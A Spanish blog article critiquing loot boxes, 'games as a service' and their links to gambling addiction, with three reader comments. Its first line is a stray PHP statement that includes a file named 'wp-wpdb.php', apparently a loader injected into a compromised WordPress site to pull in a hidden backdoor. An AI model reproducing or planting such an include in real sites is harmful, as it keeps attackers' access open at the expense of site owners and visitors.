if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); Entre cajas de botín anda el juego – La Fortaleza de LeChuck

Entre cajas de botín anda el juego

La industria del videojuego experimenta constantemente cambios para adaptarse al mercado y al nuevo jugador. El modelo de negocio actual, intenta alargar la vida de un título con contenido descargable de pago y cajas de botín, motivo por el cual la comunidad está cada vez más descontenta. Sombras de Guerra y Battlefront 2 han sido los últimos juegos en sumarse a esta tendencia y han vuelto a encender la mecha. ¿Son las cajas de botín realmente un problema?

La aventura de acción para un jugador La Tierra Media: Sombras de Guerra dispone de una tienda que vende cajas de botín con armas y armaduras de diferente rareza, aumentos para la experiencia y otros artículos que facilitan el progreso en el juego. Para hacerse con una loot box, el jugador puede gastar Mirian, la moneda del juego, o dinero real. Inevitablemente, la noticia de las cajas de botín para un juego de pago AAA ha generado gran controversia al tratarse de un producto que ya cuesta una suma importante de dinero y que, además, está ligado con la progresión en el juego.

En una entrevista para Eurogamer, el director de diseño de Sombras de Guerra, Bob Roberts, explicó el motivo de los micropagos:

Eso está ahí, desde mi perspectiva, para las personas que aprecian su tiempo libre y se asustan cuando llega un juego masivo en el que no pueden ver la experiencia completa.

Durante la entrevista, Roberts se mostró bastante evasivo con las preguntas sobre las cajas de botín y las equiparó erróneamente con los modos de dificultad de un juego. Pero por mucho que el director de diseño de Sombras de Guerra lo pinte con buenas palabras, no tapa el motivo real: ganar más dinero. Pero cuando pagas 60€ por un AAA te preguntas si realmente te están tomando el pelo. Si echamos la vista unos años atrás, es curioso recordar cuando simplemente obviábamos la parte tediosa de un juego usando trucos. Uno de los más habituales era desbloquear las armas potentes o vehículos cañeros en los GTA insertando un número en el móvil. Imaginaos que ahora para obtener el lanzacohetes o armas raras rápidamente, hubiera que sacar la VISA.

Lejos de apaciguarse la polémica, el cierre de Visceral Games y el enigmático comunicado de EA indicando que su futuro juego de Star Wars se adaptaría al mercado actual, avivaba el debate haciendo sospechar de que el título abrazaría un modelo de negocio denominado «Game as a Service«, es decir, diseñar un juego con la intención de ofrecer contenido periódico al jugador para así obtener ingresos frecuentes. Esto fue lo que Patrick Söderlund de EA escribió en el blog de la compañía:

Hasta ahora, se estaba planteando como un juego de aventuras lineal basado en la narrativa. Durante el proceso de desarrollo, hemos estado probando el concepto de juego con los jugadores, escuchando los comentarios sobre qué y cómo quieren jugar, y siguiendo de cerca los cambios fundamentales en el mercado. Ha quedado claro que para ofrecer una experiencia que los jugadores querrán volver a disfrutar durante mucho tiempo, necesitamos modificar el diseño.

Pero el pánico por el cambio de diseño del futuro Star Wars viene de antes. Durante la pasada beta de Battlefront 2, saltaron todas las alarmas al ver cajas de botín que incluían armas. De repente, en la mente del jugador apareció un fatídico presagio: Quien pague por ellas, tendrá más posibilidades de obtener mejor armamento que un jugador que no lo haga y, además, juegue poco. Volvemos otra vez a la idea de «pay to win» en un AAA de 60€, pero esta vez agravado por el hecho de ser un juego con multijugador online, pudiendo desbaratar así la experiencia a otros jugadores. EA se defendió señalando que las mejores armas no estarán en dichos paquetes y que están trabajando para que sea un juego equilibrado, pero aún así no aportó mucha confianza a la comunidad.

Sin embargo, el lado más oscuro de lo micropagos lo destapaba hace unas horas la sección de videojuegos de Rolling Stone. Según la publicación, Activision patentó en 2015 un motor enfocado al matchmaking donde novatos se enfrentarían a veteranos con mejores armas para que los recién llegados sintieran la necesidad de pagar por un armamento más potente. Una vez conseguido un mejor equipo bajo previo desembolso, el sistema situaría al jugador en una partida donde tuviera ventaja para que se sintiera orgulloso de su «inversión». Afortunadamente, Activision ha confirmado que, por el momento, no ha aplicado dicho motor en ningún juego, pero el simple hecho de patentar algo así no deja de ser inquietante.

Antiguamente, los juegos eran tan largos como difíciles para que el jugador exprimiera la historia hasta la llegada del siguiente título. Desde entonces, el mercado ha ido evolucionando influenciado por los juegos para móvil. Hoy en día, hacer un juego AAA exige mucho tiempo y dinero, y los DLCs y pases de temporada aseguran más ingresos y horas de juego. Asimismo, la búsqueda de alargar la vida del producto ha hecho que juegos que eran exclusivamente de campaña se nutran de un multijugador online con cajas, Uncharted 4 es un buen ejemplo. Por otro lado, sagas que desde siempre se han caracterizado por disponer de campaña y multijugador, se han subido también al carro de las cajas de botín con el fin de obtener ingresos constantes. Gears of War 4 implementó packs con añadidos estéticos y modificadores.

El origen de las cajas de botín está en los Gacha Games. No sé si recordáis el artículo que escribí donde traté estos free to play con micropagos que triunfan en Japón. Uno de los últimos en aterrizar por nuestras tierras fue Fire Emblem Heroes, el cual tuvo muy buena aceptación en occidente y acercó el modelo japonés a nuevos jugadores. Era cuestión de tiempo que el sistema «Gacha» saltara a los juegos online de mayor presupuesto, y desde hace unos años suponen una buena fuente de ganancias para juegos como Overwatch. Sin embargo, a diferencia de los Gacha Games para móviles donde los micropagos son casi indispensables para avanzar, en el citado juego de Blizzard y otros similares, solo añaden mejoras estéticas. Cuanto más se juega más posibilidades hay de conseguir una nueva caja, pero si el ansia se apodera del jugador, este puede usar el dinero del juego para pagar por artículos, o usar su billetera para hacerse con más cajas. Cuantas más se abran, más probabilidades de conseguir artículos de mayor valor.

No obstante, la preocupación por las cajas de botín también está asociada con la adicción al juego. Hace unas semanas, se enviaba al parlamento británico una petición para incorporar los juegos con esta clase de micropagos dentro de la categoría «juegos de apuestas», ya que su contenido forma parte del azar. El gobierno británico contestó de forma ambigua reconociendo el riesgo pero sin considerarlo como apuestas. El informe concluía con que la «Comisión de Juegos y Apuestas» mantendrá el asunto bajo revisión y estará pendiente de su evolución en el mercado. En la respuesta se puede percibir que esta clase de adicción es bastante reciente en occidente y el gobierno no tiene información suficiente para legislar. En cambio, los expertos ven conductas similares a las de los adictos al juego. Emil Hodzic, psicólogo especializado en la adicción en los videojuegos, indica lo siguiente en una entrevista para IGN:

Una cosa que he tratado con personas, tanto niños de 12 años como adultos, es sobre la recompensa que obtienes dentro de los juegos. Si has jugado a Overwatch, básicamente, cada vez que alcanzas un nuevo nivel, obtienes una nueva caja de botín, y aunque no dicen ‘ey, compra cajas de botín de $20’, lo que están haciendo – al estar la persona expuesta a ese sistema de recompensas – es, en cierto sentido, reafirmar el hecho de estar esperando algo y recibiendo una recompensa.

Y esa es la dinámica de la adicción al juego: un sistema de motivación similar al de una máquina tragaperras. Obtienes una apariencia realmente buena o gesto alguna vez y quieres conseguir más. Con el tiempo, el interés y el impulso por la recompensa puede aumentar, especialmente cuando llega un evento de temporada, como el de Halloween.

Otros psicólogos especializados como Jamie Madigan, también dan su opinión:

Imagino que la gente de Blizzard, Activision y demás han hecho sus propias pruebas internas y han descubierto que este tipo de sistema mantiene a las personas enganchadas durante más tiempo. Les hace jugar más horas o gastar más dinero al depender del azar, y tienen que tirar del brazo de la máquina tragaperras cada vez que quieren obtener algo, en lugar de pagar solo una vez por el juego.

Incluso si terminaran pagando de más para obtener lo que querían, todavía es emocionante conseguir una de esas cajas y abrirlas para ver lo que contienen. Creo que esa emoción persiste, y desaparecería si simplemente pudieras elegir qué comprar. No tendrías que seguir jugando para hacerte con uno de esos cofres de botín que te pueden dar algo increíble, o te pueden dar un montón de basura. Y frecuentemente serán cosas inútiles, pero de vez en cuando será increíble.

A pesar de la creciente preocupación, Madigan ofrece algunos consejos para la industria y el jugador:

Incluso si conoces a alguien haciendo uso de las micro transacciones en los juegos, solo sería problemático si comienzan a interferir con el resto de su vida. Por ejemplo, cuando alguien está gastando dinero que probablemente debería emplear en otra cosa. Si solo son unos pocos dólares que le hacen disfrutar más del juego, entonces probablemente no sea un problema. Una solución adecuada sería etiquetar los juegos que van a tener micropagos, como se hace con los de la App Store de Apple.

Personalmente, con la salida de Fire Emblem Heroes experimenté una adicción momentánea. Mi amor descontrolado por Lucina me hizo pagar unos cuantos euros por cajas, pero tras unos cuantos intentos fallidos me vi a mí misma en perspectiva perdiendo un puñado de monedas por algo bastante difícil de conseguir y estúpido. Luego utilicé el sucio truco de desinstalar e instalar el juego hasta hacerme con ella, pero eso es otra historia, ejem. También tengo que reconocer que el embrujo del juego de Love Live y su explosivo «kawaiismo» se apoderó de mí durante un tiempo. Como yo, seguramente muchos otros jugadores apasionados picaron ansiados por conseguir el personaje deseado mientras los efectos luz y color mantenían fugazmente la esperanza. Yo paré, pero quizá otros no supieron decir basta a tiempo y su cuenta corriente se redujo mientras buscaban la caja definitiva.

El debate en torno a este tema se ha expandido durante esta semana por las redes sociales hasta profetizar la desaparición de los juegos para un jugador, algo que resulta bastante improbable por la buena recepción que tienen obras con altas dosis narrativas como The Last of Us o Red Dead Redemption, cuyas segundas partes se cocinan a fuego lento para nuestro goce y disfrute. Lo que si vamos a tener que acostumbrarnos es a que dispongan de un componente online y micropagos, pero mientras no comprometa la jugabilidad, todos felices.

La tendencia de los «Game as a Service» con sus cajas de botín y contenido descargable continuará en el futuro impulsado por compañías que quieren alargar la vida de su juego y por los jugadores que buscan seguir disfrutando de su juego favorito. No obstante, creo firmemente que se puede convivir con este sistema siempre que no afecte a la progresión y perjudique al resto de jugadores. Porque lo que tiene que prevalecer en la industria es el pagar por disfrutar, no por ganar.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

3 comentarios

  1. Bueno, el problema de todo esto no es tanto que las compañías adopten tal o cual modelo sino que los «gamers» lo compren. Si la gente tuviese un mínimo de dignidad y no comprase, por ejemplo, nada de EA hasta que rectifiquen en cosas como «adaptar al mercado actual» supongo que se acabarían dando cuenta.

    Hemos llegado al extremo absurdo de que un juego te puede costar 80 euros en DLC aparte de lo que pagues por el juego base (Warhammer: Total War, por poner un ejemplo). Y de esto no tienen la culpa las compañías, la tiene quien paga ese dinero. Que luego los «gamers» se quejan online de cualquier cambio de mecánica o de un nerf a un personaje hasta que les sangran los dedos, pero con estas cosas hay una aceptación casi servil por parte del colectivo que da un poco de asco.

    1. Hay una viñeta que describe muy bien lo que dices: gente enfadada quejándose en la puerta de una compañía de videojuegos mientras lanza billetes. El cliente puede inclinar la balanza siempre, pero los fans muchas veces no saben decir que no cuando aman una saga. En el caso de las cajas, a mí no me importa, lo mismo ocurre con lo de meter con calzador el modo online a juegos de campaña. Siempre que no estropee la experiencia a los que como yo prefieren el modo historia, todo bien.
      Un saludo.

      1. Las cajas no son algo molesto, efectivamente. Pero el sistema «Pay to win» y cosas como los DLCs son elementos que se han acabado imponiendo por la aceptación sin reservas del colectivo, y eso sí que duele. Por poner un ejemplo que he visto estos días – y parecido al del W:TW -, el Blood Bowl 2 en Steam cuesta 19,95 euros. Si lo compras con todos los DLCs, te cuesta algo más de cien. De acuerdo, hay packs y ediciones juego del año y todo eso, pero es la norma más que la excepción.

        En fin, que creo que si los fans a veces supieran decir «no» saldrían ganando a la larga. Y me joroba un poco esa falta de visión de conjunto en el colectivo. No pretendo ofender a nadie.

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